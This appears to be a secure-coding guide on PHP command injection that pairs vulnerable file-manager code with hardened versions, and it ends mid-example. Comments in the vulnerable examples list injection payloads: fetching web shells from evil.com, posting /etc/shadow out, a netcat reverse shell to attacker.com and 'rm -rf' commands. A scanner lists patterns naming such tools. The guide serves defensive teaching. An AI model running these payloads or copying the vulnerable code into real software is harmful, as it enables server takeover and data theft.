PHP System Command Injection

Critical Risk Command Injection
phpcommand-injectionsystemexecshell-execpassthrubackticksrceuser-input

What it is

A critical security vulnerability in PHP applications where user-controlled input is passed to system execution functions like system(), exec(), shell_exec(), passthru(), or backticks without proper sanitization. This allows attackers to execute arbitrary system commands on the server, potentially leading to complete system compromise, data exfiltration, or remote code execution. PHP's system functions are particularly dangerous because they directly interface with the operating system shell.

<?php
// VULNERABLE: File management web application
class FileManager {
    private $uploadDir = '/var/www/uploads';
    private $backupDir = '/var/www/backups';
    
    public function handleRequest() {
        $action = $_POST['action'] ?? $_GET['action'] ?? '';
        
        switch ($action) {
            case 'backup':
                $this->backupFile($_POST['filename']);
                break;
            case 'compress':
                $this->compressDirectory($_POST['directory'], $_POST['format']);
                break;
            case 'analyze':
                $this->analyzeFile($_POST['filepath']);
                break;
            case 'network_test':
                $this->testNetworkConnectivity($_POST['host'], $_POST['port']);
                break;
        }
    }
    
    // VULNERABLE: Direct user input to system()
    private function backupFile($filename) {
        if (empty($filename)) {
            throw new Exception('Filename required');
        }
        
        // Basic file existence check (insufficient security)
        $filepath = $this->uploadDir . '/' . $filename;
        if (!file_exists($filepath)) {
            throw new Exception('File not found');
        }
        
        // DANGEROUS: Direct string interpolation in system command
        $backupPath = $this->backupDir . '/' . $filename . '.bak';
        $command = "cp $filepath $backupPath";
        
        system($command, $returnCode);
        
        if ($returnCode === 0) {
            echo "File backed up successfully";
        } else {
            echo "Backup failed";
        }
    }
    
    // VULNERABLE: shell_exec() with user input
    private function compressDirectory($directory, $format) {
        // Weak validation
        $allowedFormats = ['zip', 'tar', 'gz'];
        if (!in_array($format, $allowedFormats)) {
            throw new Exception('Invalid compression format');
        }
        
        // DANGEROUS: User input directly in shell command
        $outputFile = basename($directory) . '.' . $format;
        
        if ($format === 'zip') {
            $result = shell_exec("cd $directory && zip -r ../$outputFile *");
        } else {
            $result = shell_exec("tar -czf $outputFile $directory");
        }
        
        echo "Compression result: $result";
    }
    
    // VULNERABLE: Backtick operator
    private function analyzeFile($filepath) {
        // Insufficient path validation
        if (strpos($filepath, '..') !== false) {
            throw new Exception('Path traversal detected');
        }
        
        // DANGEROUS: Backtick operator with user input
        $fileInfo = `file --mime-type $filepath`;
        $fileSize = `du -h $filepath`;
        $permissions = `ls -la $filepath`;
        
        echo "<h3>File Analysis</h3>";
        echo "<p>Type: $fileInfo</p>";
        echo "<p>Size: $fileSize</p>";
        echo "<p>Permissions: $permissions</p>";
    }
    
    // VULNERABLE: passthru() with user input
    private function testNetworkConnectivity($host, $port) {
        // Basic input validation (easily bypassed)
        if (empty($host) || !is_numeric($port)) {
            throw new Exception('Invalid host or port');
        }
        
        // DANGEROUS: User input in passthru command
        echo "<h3>Network Test Results</h3>";
        echo "<pre>";
        passthru("timeout 5 nc -zv $host $port 2>&1");
        echo "</pre>";
    }
}

// VULNERABLE: Direct usage without proper sanitization
if ($_SERVER['REQUEST_METHOD'] === 'POST' || $_SERVER['REQUEST_METHOD'] === 'GET') {
    $fileManager = new FileManager();
    
    try {
        $fileManager->handleRequest();
    } catch (Exception $e) {
        echo "Error: " . $e->getMessage();
    }
}

/*
Attack examples:
POST: action=backup&filename=test.txt; wget http://evil.com/shell.php; php shell.php; #
POST: action=compress&directory=/tmp; rm -rf /var/www; echo&format=tar
POST: action=analyze&filepath=/etc/passwd; curl -X POST -d @/etc/shadow http://evil.com/steal; echo
POST: action=network_test&host=google.com; cat /etc/passwd; echo&port=80
*/
?>
<?php
// SECURE: File management web application with proper security measures
require_once 'vendor/autoload.php';

class SecureFileManager {
    private const UPLOAD_DIR = '/var/www/uploads';
    private const BACKUP_DIR = '/var/www/backups';
    private const ALLOWED_EXTENSIONS = ['txt', 'pdf', 'jpg', 'png', 'gif', 'doc', 'docx'];
    private const MAX_FILE_SIZE = 50 * 1024 * 1024; // 50MB
    private const RATE_LIMIT_REQUESTS = 10;
    private const RATE_LIMIT_WINDOW = 300; // 5 minutes
    
    private $sessionHandler;
    private $logger;
    
    public function __construct() {
        $this->sessionHandler = new SecureSessionHandler();
        $this->logger = new SecurityLogger();
        
        // Enable secure session handling
        $this->sessionHandler->startSecureSession();
        
        // CSRF protection
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$this->validateCSRFToken()) {
            throw new SecurityException('CSRF token validation failed');
        }
        
        // Rate limiting
        if (!$this->checkRateLimit()) {
            throw new SecurityException('Rate limit exceeded');
        }
    }
    
    public function handleRequest() {
        $action = filter_input(INPUT_POST, 'action', FILTER_SANITIZE_STRING) ?? 
                 filter_input(INPUT_GET, 'action', FILTER_SANITIZE_STRING) ?? '';
        
        // Action allowlist
        $allowedActions = ['backup', 'compress', 'analyze', 'network_test'];
        if (!in_array($action, $allowedActions, true)) {
            throw new InvalidArgumentException('Invalid action specified');
        }
        
        // Log all requests for security monitoring
        $this->logger->logRequest($action, $_SERVER['REMOTE_ADDR']);
        
        try {
            switch ($action) {
                case 'backup':
                    $filename = filter_input(INPUT_POST, 'filename', FILTER_SANITIZE_STRING);
                    return $this->backupFileSafe($filename);
                    
                case 'compress':
                    $directory = filter_input(INPUT_POST, 'directory', FILTER_SANITIZE_STRING);
                    $format = filter_input(INPUT_POST, 'format', FILTER_SANITIZE_STRING);
                    return $this->compressDirectorySafe($directory, $format);
                    
                case 'analyze':
                    $filepath = filter_input(INPUT_POST, 'filepath', FILTER_SANITIZE_STRING);
                    return $this->analyzeFileSafe($filepath);
                    
                case 'network_test':
                    $host = filter_input(INPUT_POST, 'host', FILTER_SANITIZE_STRING);
                    $port = filter_input(INPUT_POST, 'port', FILTER_VALIDATE_INT);
                    return $this->testNetworkConnectivitySafe($host, $port);
            }
        } catch (Exception $e) {
            $this->logger->logError($action, $e->getMessage(), $_SERVER['REMOTE_ADDR']);
            throw $e;
        }
    }
    
    // SECURE: File backup using PHP functions and proper validation
    private function backupFileSafe($filename) {
        // Comprehensive input validation
        $this->validateFilename($filename);
        
        $sourceFile = realpath(self::UPLOAD_DIR . '/' . $filename);
        
        // Ensure file exists and is in allowed directory
        if (!$sourceFile || !$this->isInAllowedDirectory($sourceFile, self::UPLOAD_DIR)) {
            throw new InvalidArgumentException('File not found or access denied');
        }
        
        // Check file extension
        $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        if (!in_array($extension, self::ALLOWED_EXTENSIONS, true)) {
            throw new InvalidArgumentException('File type not allowed');
        }
        
        // Check file size
        if (filesize($sourceFile) > self::MAX_FILE_SIZE) {
            throw new InvalidArgumentException('File too large');
        }
        
        // SECURE: Use PHP's copy() function instead of system commands
        $backupFile = self::BACKUP_DIR . '/' . $filename . '.bak.' . date('Y-m-d-H-i-s');
        
        // Ensure backup directory exists
        if (!is_dir(self::BACKUP_DIR) && !mkdir(self::BACKUP_DIR, 0755, true)) {
            throw new RuntimeException('Cannot create backup directory');
        }
        
        if (!copy($sourceFile, $backupFile)) {
            throw new RuntimeException('Backup operation failed');
        }
        
        // Verify backup integrity
        if (md5_file($sourceFile) !== md5_file($backupFile)) {
            unlink($backupFile);
            throw new RuntimeException('Backup integrity check failed');
        }
        
        $this->logger->logSuccess('backup', $filename);
        
        return [
            'success' => true,
            'message' => 'File backed up successfully',
            'backup_file' => basename($backupFile),
            'original_size' => filesize($sourceFile),
            'backup_size' => filesize($backupFile)
        ];
    }
    
    // SECURE: Directory compression using PHP's ZipArchive
    private function compressDirectorySafe($directory, $format) {
        $this->validateDirectoryPath($directory);
        
        // Validate compression format
        $allowedFormats = ['zip'];
        if (!in_array($format, $allowedFormats, true)) {
            throw new InvalidArgumentException('Compression format not supported');
        }
        
        $sourceDir = realpath(self::UPLOAD_DIR . '/' . $directory);
        
        if (!$sourceDir || !$this->isInAllowedDirectory($sourceDir, self::UPLOAD_DIR)) {
            throw new InvalidArgumentException('Directory not found or access denied');
        }
        
        if (!is_dir($sourceDir)) {
            throw new InvalidArgumentException('Path is not a directory');
        }
        
        // SECURE: Use PHP's ZipArchive instead of system commands
        $outputFile = self::BACKUP_DIR . '/' . basename($directory) . '_' . date('Y-m-d-H-i-s') . '.zip';
        
        $zip = new ZipArchive();
        if ($zip->open($outputFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) {
            throw new RuntimeException('Cannot create zip archive');
        }
        
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($sourceDir),
            RecursiveIteratorIterator::LEAVES_ONLY
        );
        
        foreach ($iterator as $file) {
            if (!$file->isDir()) {
                $filePath = $file->getRealPath();
                $relativePath = substr($filePath, strlen($sourceDir) + 1);
                
                // Additional security check
                if ($this->isSafeFileForCompression($filePath)) {
                    $zip->addFile($filePath, $relativePath);
                }
            }
        }
        
        $fileCount = $zip->numFiles;
        $zip->close();
        
        $this->logger->logSuccess('compress', $directory);
        
        return [
            'success' => true,
            'message' => 'Directory compressed successfully',
            'archive_file' => basename($outputFile),
            'files_compressed' => $fileCount,
            'archive_size' => filesize($outputFile)
        ];
    }
    
    // SECURE: File analysis using PHP functions
    private function analyzeFileSafe($filepath) {
        $this->validateFilepath($filepath);
        
        $realPath = realpath(self::UPLOAD_DIR . '/' . $filepath);
        
        if (!$realPath || !$this->isInAllowedDirectory($realPath, self::UPLOAD_DIR)) {
            throw new InvalidArgumentException('File not found or access denied');
        }
        
        if (!is_file($realPath)) {
            throw new InvalidArgumentException('Path is not a file');
        }
        
        // SECURE: Use PHP functions instead of system commands
        $fileInfo = [
            'filename' => basename($realPath),
            'size' => filesize($realPath),
            'size_human' => $this->formatBytes(filesize($realPath)),
            'mime_type' => mime_content_type($realPath),
            'extension' => strtolower(pathinfo($realPath, PATHINFO_EXTENSION)),
            'permissions' => substr(sprintf('%o', fileperms($realPath)), -4),
            'last_modified' => date('Y-m-d H:i:s', filemtime($realPath)),
            'is_readable' => is_readable($realPath),
            'is_writable' => is_writable($realPath),
            'md5_hash' => md5_file($realPath)
        ];
        
        // Additional security analysis
        $fileInfo['is_executable'] = is_executable($realPath);
        $fileInfo['has_suspicious_content'] = $this->scanForSuspiciousContent($realPath);
        
        $this->logger->logSuccess('analyze', $filepath);
        
        return [
            'success' => true,
            'message' => 'File analyzed successfully',
            'file_info' => $fileInfo
        ];
    }
    
    // SECURE: Network connectivity test using PHP sockets
    private function testNetworkConnectivitySafe($host, $port) {
        // Validate hostname
        if (!$this->isValidHostname($host)) {
            throw new InvalidArgumentException('Invalid hostname format');
        }
        
        // Validate port range
        if ($port < 1 || $port > 65535) {
            throw new InvalidArgumentException('Port must be between 1 and 65535');
        }
        
        // Restrict to common service ports for security
        $allowedPorts = [21, 22, 23, 25, 53, 80, 110, 143, 443, 993, 995];
        if (!in_array($port, $allowedPorts, true)) {
            throw new InvalidArgumentException('Port not in allowed list');
        }
        
        // SECURE: Use PHP's fsockopen instead of system commands
        $startTime = microtime(true);
        $socket = @fsockopen($host, $port, $errno, $errstr, 5); // 5 second timeout
        $endTime = microtime(true);
        
        $result = [
            'host' => $host,
            'port' => $port,
            'response_time' => round(($endTime - $startTime) * 1000, 2) . ' ms'
        ];
        
        if ($socket) {
            fclose($socket);
            $result['status'] = 'open';
            $result['message'] = 'Connection successful';
        } else {
            $result['status'] = 'closed';
            $result['message'] = "Connection failed: $errstr ($errno)";
        }
        
        $this->logger->logSuccess('network_test', "$host:$port");
        
        return [
            'success' => true,
            'message' => 'Network test completed',
            'test_result' => $result
        ];
    }
    
    // Helper validation methods
    private function validateFilename($filename) {
        if (empty($filename) || !is_string($filename)) {
            throw new InvalidArgumentException('Invalid filename');
        }
        
        if (strlen($filename) > 255) {
            throw new InvalidArgumentException('Filename too long');
        }
        
        if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
            throw new InvalidArgumentException('Filename contains invalid characters');
        }
        
        if (strpos($filename, '..') !== false || $filename[0] === '.') {
            throw new InvalidArgumentException('Invalid filename format');
        }
    }
    
    private function validateDirectoryPath($directory) {
        if (empty($directory) || !is_string($directory)) {
            throw new InvalidArgumentException('Invalid directory path');
        }
        
        if (!preg_match('/^[a-zA-Z0-9._/-]+$/', $directory)) {
            throw new InvalidArgumentException('Directory path contains invalid characters');
        }
        
        if (strpos($directory, '..') !== false) {
            throw new InvalidArgumentException('Directory traversal not allowed');
        }
    }
    
    private function validateFilepath($filepath) {
        if (empty($filepath) || !is_string($filepath)) {
            throw new InvalidArgumentException('Invalid file path');
        }
        
        if (strpos($filepath, '..') !== false) {
            throw new InvalidArgumentException('Path traversal not allowed');
        }
        
        if (!preg_match('/^[a-zA-Z0-9._\/-]+$/', $filepath)) {
            throw new InvalidArgumentException('File path contains invalid characters');
        }
    }
    
    private function isValidHostname($hostname) {
        if (empty($hostname) || strlen($hostname) > 253) {
            return false;
        }
        
        // Check for valid hostname format
        if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/', $hostname)) {
            return false;
        }
        
        // Additional validation using filter_var
        return filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) !== false;
    }
    
    private function isInAllowedDirectory($path, $allowedDir) {
        $realAllowedDir = realpath($allowedDir);
        return $realAllowedDir && strpos($path, $realAllowedDir) === 0;
    }
    
    private function isSafeFileForCompression($filePath) {
        $extension = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
        return in_array($extension, self::ALLOWED_EXTENSIONS, true);
    }
    
    private function formatBytes($bytes, $precision = 2) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        
        for ($i = 0; $bytes > 1024 && $i < count($units) - 1; $i++) {
            $bytes /= 1024;
        }
        
        return round($bytes, $precision) . ' ' . $units[$i];
    }
    
    private function scanForSuspiciousContent($filePath) {
        $suspiciousPatterns = [
            '/(?:system|exec|shell_exec|passthru|eval)\s*\(/i',
            '/(?:<\?php|<script)/i',
            '/(?:rm\s+-rf|\/bin\/sh|nc\s+-e)/i'
        ];
        
        $content = file_get_contents($filePath, false, null, 0, 8192); // Read first 8KB
        
        foreach ($suspiciousPatterns as $pattern) {
            if (preg_match($pattern, $content)) {
                return true;
            }
        }
        
        return false;
    }
    
    private function validateCSRFToken() {
        $token = $_POST['csrf_token'] ?? '';
        $sessionToken = $_SESSION['csrf_token'] ?? '';
        
        return !empty($token) && !empty($sessionToken) && hash_equals($sessionToken, $token);
    }
    
    private function checkRateLimit() {
        $clientIP = $_SERVER['REMOTE_ADDR'];
        $key = 'rate_limit_' . md5($clientIP);
        
        $requests = $_SESSION[$key] ?? [];
        $now = time();
        
        // Remove old requests outside the window
        $requests = array_filter($requests, function($timestamp) use ($now) {
            return ($now - $timestamp) < self::RATE_LIMIT_WINDOW;
        });
        
        if (count($requests) >= self::RATE_LIMIT_REQUESTS) {
            return false;
        }
        
        $requests[] = $now;
        $_SESSION[$key] = $requests;
        
        return true;
    }
}

// Supporting security classes
class SecurityLogger {
    private $logFile = '/var/log/filemanager_security.log';
    
    public function logRequest($action, $ip) {
        $this->writeLog('REQUEST', "Action: $action, IP: $ip");
    }
    
    public function logSuccess($action, $target) {
        $this->writeLog('SUCCESS', "Action: $action, Target: $target");
    }
    
    public function logError($action, $error, $ip) {
        $this->writeLog('ERROR', "Action: $action, Error: $error, IP: $ip");
    }
    
    private function writeLog($level, $message) {
        $timestamp = date('Y-m-d H:i:s');
        $logEntry = "[$timestamp] [$level] $message\n";
        file_put_contents($this->logFile, $logEntry, FILE_APPEND | LOCK_EX);
    }
}

class SecureSessionHandler {
    public function startSecureSession() {
        ini_set('session.cookie_httponly', 1);
        ini_set('session.cookie_secure', 1);
        ini_set('session.use_strict_mode', 1);
        
        session_start();
        
        if (empty($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }
    }
}

class SecurityException extends Exception {}

// Usage with proper error handling and security headers
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Content-Type: application/json');

try {
    $fileManager = new SecureFileManager();
    $result = $fileManager->handleRequest();
    echo json_encode($result);
} catch (SecurityException $e) {
    http_response_code(403);
    echo json_encode(['success' => false, 'error' => 'Security violation']);
} catch (InvalidArgumentException $e) {
    http_response_code(400);
    echo json_encode(['success' => false, 'error' => $e->getMessage()]);
} catch (Exception $e) {
    http_response_code(500);
    echo json_encode(['success' => false, 'error' => 'Internal server error']);
}
?>

💡 Why This Fix Works

The vulnerable version directly passes user input to system(), shell_exec(), backticks, and passthru() functions, allowing command injection. The secure version uses PHP's built-in functions, implements comprehensive input validation, adds CSRF protection, rate limiting, security logging, and proper error handling.

Why it happens

The system() function executes shell commands and directly outputs the result. When combined with user input, it becomes extremely dangerous as attackers can inject additional commands using shell metacharacters. The system() function passes the entire command string to the system shell, allowing for complex command injection attacks.

Root causes

Unsanitized User Input in system() Function

The system() function executes shell commands and directly outputs the result. When combined with user input, it becomes extremely dangerous as attackers can inject additional commands using shell metacharacters. The system() function passes the entire command string to the system shell, allowing for complex command injection attacks.

Preview example – PHP
<?php
// VULNERABLE: Direct user input to system()
if (isset($_GET['hostname'])) {
    $hostname = $_GET['hostname'];
    
    // Dangerous: No input validation
    system("ping -c 1 $hostname");
}

// Attack URL: script.php?hostname=google.com;cat /etc/passwd
// Results in: ping -c 1 google.com;cat /etc/passwd
?>

exec() and shell_exec() with String Concatenation

Using exec() or shell_exec() with string concatenation or interpolation creates command injection vulnerabilities. These functions execute commands silently (shell_exec) or capture output (exec), making them appear safer, but they're equally vulnerable to injection attacks when user input is involved.

Preview example – PHP
<?php
// VULNERABLE: exec() with user input
function backup_file($filename) {
    // String concatenation vulnerability
    $command = "cp " . $filename . " /backup/";
    exec($command, $output, $return_code);
    
    return $output;
}

// VULNERABLE: shell_exec() with interpolation
function get_file_info($filepath) {
    $result = shell_exec("ls -la $filepath");
    return $result;
}

// Attack: backup_file("test.txt; rm -rf /; #")
// Attack: get_file_info("/path; wget http://evil.com/backdoor.php; #")
?>

Backtick Operator with User Data

PHP's backtick operator (`) executes shell commands and returns the output. It's equivalent to shell_exec() but more concise, making it popular among developers. However, when used with user input, it creates the same command injection vulnerabilities as other system functions.

Preview example – PHP
<?php
// VULNERABLE: Backtick operator with user input
class FileManager {
    public function compressDirectory($directory) {
        // Dangerous backtick usage
        $result = `tar -czf archive.tar.gz $directory`;
        return $result;
    }
    
    public function getDiskUsage($path) {
        // Another vulnerable usage
        return `du -sh $path`;
    }
}

// Attack examples:
// compressDirectory("docs; curl http://evil.com/shell.php > /tmp/shell.php; php /tmp/shell.php; #")
// getDiskUsage("/tmp; nc -e /bin/bash attacker.com 4444; #")
?>

passthru() in File Processing Operations

The passthru() function executes commands and passes output directly to the browser, making it common in file processing, image manipulation, or document conversion scripts. When user input controls file paths or processing parameters, it creates opportunities for command injection.

Preview example – PHP
<?php
// VULNERABLE: passthru() with user-controlled parameters
class ImageProcessor {
    public function convertImage($inputFile, $outputFormat, $quality) {
        // Basic file extension check (easily bypassed)
        if (!preg_match('/\.(jpg|png|gif)$/i', $inputFile)) {
            throw new Exception('Invalid file type');
        }
        
        // Vulnerable command construction
        $outputFile = preg_replace('/\.[^.]+$/', ".$outputFormat", $inputFile);
        passthru("convert $inputFile -quality $quality $outputFile");
    }
}

// Attack vectors:
// inputFile: "image.jpg; wget http://evil.com/webshell.php; #.jpg"
// quality: "80; rm -rf /var/www/html; echo 90"
// outputFormat: "png; curl -X POST -d @/etc/passwd http://evil.com/steal; echo png"
?>

Fixes

1

Use escapeshellarg() and escapeshellcmd() Functions

PHP provides built-in functions to safely escape shell arguments and commands. Use escapeshellarg() to escape individual arguments and escapeshellcmd() to escape entire command strings. However, prefer avoiding shell execution entirely when possible, as even escaping can have edge cases.

View implementation – PHP
<?php
// SECURE: Using escapeshellarg() for safe argument escaping
function ping_host_safe($hostname) {
    // Validate hostname format first
    if (!filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
        throw new InvalidArgumentException('Invalid hostname format');
    }
    
    // Additional hostname validation
    if (!preg_match('/^[a-zA-Z0-9.-]+$/', $hostname) || strlen($hostname) > 253) {
        throw new InvalidArgumentException('Hostname validation failed');
    }
    
    // Safe command execution with escaped arguments
    $safe_hostname = escapeshellarg($hostname);
    $command = "ping -c 1 " . $safe_hostname;
    
    // Use exec() to capture output safely
    exec($command, $output, $return_code);
    
    if ($return_code === 0) {
        return implode("\n", $output);
    } else {
        throw new RuntimeException('Ping command failed');
    }
}

// SECURE: File operations with proper escaping
function backup_file_safe($filename) {
    // Comprehensive filename validation
    if (!is_valid_filename($filename)) {
        throw new InvalidArgumentException('Invalid filename');
    }
    
    $source_path = '/app/uploads/' . $filename;
    $backup_path = '/app/backups/' . $filename . '.bak';
    
    // Check if source file exists
    if (!file_exists($source_path)) {
        throw new RuntimeException('Source file does not exist');
    }
    
    // Safe command with escaped arguments
    $safe_source = escapeshellarg($source_path);
    $safe_backup = escapeshellarg($backup_path);
    $command = "cp $safe_source $safe_backup";
    
    exec($command, $output, $return_code);
    
    if ($return_code !== 0) {
        throw new RuntimeException('Backup operation failed');
    }
    
    return $backup_path;
}

function is_valid_filename($filename) {
    // Strict filename validation
    return preg_match('/^[a-zA-Z0-9._-]+$/', $filename) &&
           strlen($filename) <= 255 &&
           !str_contains($filename, '..') &&
           !str_starts_with($filename, '.');
}
?>
2

Implement Comprehensive Input Validation and Allowlists

Create robust input validation using allowlists (whitelists) rather than blocklists. Validate expected formats, restrict character sets, implement length limits, and use regular expressions for format checking. Always validate and sanitize user input before any system interaction.

View implementation – PHP
<?php
class SecureInputValidator {
    // Allowlist patterns for different input types
    private const HOSTNAME_PATTERN = '/^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/';
    private const FILENAME_PATTERN = '/^[a-zA-Z0-9._-]+$/';
    private const PATH_PATTERN = '/^[a-zA-Z0-9\/._-]+$/';
    
    // Allowed file extensions and formats
    private const ALLOWED_IMAGE_FORMATS = ['jpg', 'jpeg', 'png', 'gif', 'webp'];
    private const ALLOWED_COMPRESSION_FORMATS = ['zip', 'tar', 'gz', 'bz2'];
    
    public static function validateHostname($hostname) {
        if (!is_string($hostname) || empty($hostname)) {
            throw new InvalidArgumentException('Hostname must be a non-empty string');
        }
        
        if (strlen($hostname) > 253) {
            throw new InvalidArgumentException('Hostname too long');
        }
        
        if (!preg_match(self::HOSTNAME_PATTERN, $hostname)) {
            throw new InvalidArgumentException('Invalid hostname format');
        }
        
        // Additional checks for security
        if (filter_var($hostname, FILTER_VALIDATE_IP)) {
            // If it's an IP, validate it's not private/reserved
            if (!filter_var($hostname, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                throw new InvalidArgumentException('Private/reserved IP addresses not allowed');
            }
        }
        
        return $hostname;
    }
    
    public static function validateFilename($filename) {
        if (!is_string($filename) || empty($filename)) {
            throw new InvalidArgumentException('Filename must be a non-empty string');
        }
        
        if (strlen($filename) > 255) {
            throw new InvalidArgumentException('Filename too long');
        }
        
        if (!preg_match(self::FILENAME_PATTERN, $filename)) {
            throw new InvalidArgumentException('Filename contains invalid characters');
        }
        
        if (str_contains($filename, '..') || str_starts_with($filename, '.')) {
            throw new InvalidArgumentException('Invalid filename format');
        }
        
        return $filename;
    }
    
    public static function validateImageFormat($format) {
        $format = strtolower(trim($format));
        
        if (!in_array($format, self::ALLOWED_IMAGE_FORMATS, true)) {
            throw new InvalidArgumentException('Unsupported image format');
        }
        
        return $format;
    }
    
    public static function validatePath($path, array $allowedDirectories) {
        if (!is_string($path) || empty($path)) {
            throw new InvalidArgumentException('Path must be a non-empty string');
        }
        
        // Normalize path
        $realPath = realpath($path);
        if ($realPath === false) {
            throw new InvalidArgumentException('Path does not exist');
        }
        
        // Check if path is within allowed directories
        $isAllowed = false;
        foreach ($allowedDirectories as $allowedDir) {
            $realAllowedDir = realpath($allowedDir);
            if ($realAllowedDir && str_starts_with($realPath, $realAllowedDir)) {
                $isAllowed = true;
                break;
            }
        }
        
        if (!$isAllowed) {
            throw new InvalidArgumentException('Path not in allowed directory');
        }
        
        return $realPath;
    }
    
    public static function validateInteger($value, $min = 1, $max = 100) {
        if (!is_numeric($value)) {
            throw new InvalidArgumentException('Value must be numeric');
        }
        
        $intValue = (int) $value;
        
        if ($intValue < $min || $intValue > $max) {
            throw new InvalidArgumentException("Value must be between $min and $max");
        }
        
        return $intValue;
    }
}
?>
3

Use PHP's Built-in Functions Instead of System Calls

Whenever possible, use PHP's built-in functions instead of external system commands. PHP has extensive functionality for file operations, image processing, compression, and network operations that eliminate the need for shell execution. This approach is both safer and often more efficient.

View implementation – PHP
<?php
// SECURE: Using PHP built-in functions instead of system calls
class SecureFileOperations {
    private const UPLOAD_DIR = '/app/uploads';
    private const BACKUP_DIR = '/app/backups';
    
    public function copyFileSafe($filename) {
        // Validate filename
        SecureInputValidator::validateFilename($filename);
        
        $sourcePath = self::UPLOAD_DIR . '/' . $filename;
        $backupPath = self::BACKUP_DIR . '/' . $filename . '.bak';
        
        // SECURE: Use PHP's copy() function instead of system cp
        if (!file_exists($sourcePath)) {
            throw new RuntimeException('Source file does not exist');
        }
        
        if (!is_readable($sourcePath)) {
            throw new RuntimeException('Source file is not readable');
        }
        
        // Ensure backup directory exists
        if (!is_dir(self::BACKUP_DIR)) {
            if (!mkdir(self::BACKUP_DIR, 0755, true)) {
                throw new RuntimeException('Cannot create backup directory');
            }
        }
        
        if (!copy($sourcePath, $backupPath)) {
            throw new RuntimeException('File copy operation failed');
        }
        
        return $backupPath;
    }
    
    public function getFileInfo($filename) {
        SecureInputValidator::validateFilename($filename);
        
        $filepath = self::UPLOAD_DIR . '/' . $filename;
        
        if (!file_exists($filepath)) {
            throw new RuntimeException('File does not exist');
        }
        
        // SECURE: Use PHP functions instead of shell commands
        return [
            'size' => filesize($filepath),
            'type' => mime_content_type($filepath),
            'permissions' => substr(sprintf('%o', fileperms($filepath)), -4),
            'modified' => date('Y-m-d H:i:s', filemtime($filepath)),
            'readable' => is_readable($filepath),
            'writable' => is_writable($filepath)
        ];
    }
    
    public function compressFiles(array $filenames, $archiveName) {
        // Validate inputs
        foreach ($filenames as $filename) {
            SecureInputValidator::validateFilename($filename);
        }
        
        SecureInputValidator::validateFilename($archiveName);
        
        $archivePath = self::BACKUP_DIR . '/' . $archiveName . '.zip';
        
        // SECURE: Use PHP's ZipArchive instead of system tar
        $zip = new ZipArchive();
        
        if ($zip->open($archivePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) {
            throw new RuntimeException('Cannot create zip archive');
        }
        
        foreach ($filenames as $filename) {
            $filepath = self::UPLOAD_DIR . '/' . $filename;
            
            if (file_exists($filepath) && is_readable($filepath)) {
                $zip->addFile($filepath, $filename);
            }
        }
        
        $zip->close();
        
        return $archivePath;
    }
}

// Network operations using cURL instead of system commands
class SecureNetworkOperations {
    public function downloadFile($url, $filename) {
        // Validate URL
        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            throw new InvalidArgumentException('Invalid URL format');
        }
        
        // Only allow HTTP/HTTPS
        $parsed = parse_url($url);
        if (!in_array($parsed['scheme'], ['http', 'https'])) {
            throw new InvalidArgumentException('Only HTTP/HTTPS URLs allowed');
        }
        
        SecureInputValidator::validateFilename($filename);
        
        $outputPath = '/app/downloads/' . $filename;
        
        // SECURE: Use cURL instead of wget/curl system commands
        $ch = curl_init();
        
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_USERAGENT, 'SecureDownloader/1.0');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
        
        $data = curl_exec($ch);
        
        if ($data === false) {
            $error = curl_error($ch);
            curl_close($ch);
            throw new RuntimeException("Download failed: $error");
        }
        
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode !== 200) {
            throw new RuntimeException("Download failed with HTTP $httpCode");
        }
        
        if (file_put_contents($outputPath, $data) === false) {
            throw new RuntimeException('Failed to write downloaded file');
        }
        
        return $outputPath;
    }
}
?>
4

Implement Command Allowlists and Process Sandboxing

When system command execution is absolutely necessary, implement strict command allowlists and run commands in sandboxed environments with limited privileges. Use process isolation, resource limits, and restricted file system access to minimize the impact of potential attacks.

View implementation – PHP
<?php
// SECURE: Sandboxed command execution with allowlists
class SecureCommandExecutor {
    // Allowlist of permitted commands
    private const ALLOWED_COMMANDS = [
        'ping' => ['ping', '-c', '1'],
        'nslookup' => ['nslookup'],
        'file' => ['file', '--mime-type'],
        'identify' => ['identify', '-format', '%wx%h']
    ];
    
    // Resource limits
    private const MAX_EXECUTION_TIME = 30;
    private const MAX_OUTPUT_SIZE = 1048576; // 1MB
    
    // Restricted environment
    private const SANDBOX_ENV = [
        'PATH' => '/usr/bin:/bin',
        'HOME' => '/tmp',
        'USER' => 'nobody',
        'SHELL' => '/bin/sh'
    ];
    
    public function executeCommand($commandName, array $args = []) {
        // Validate command is allowed
        if (!array_key_exists($commandName, self::ALLOWED_COMMANDS)) {
            throw new InvalidArgumentException("Command '$commandName' is not allowed");
        }
        
        // Build command with predefined safe arguments
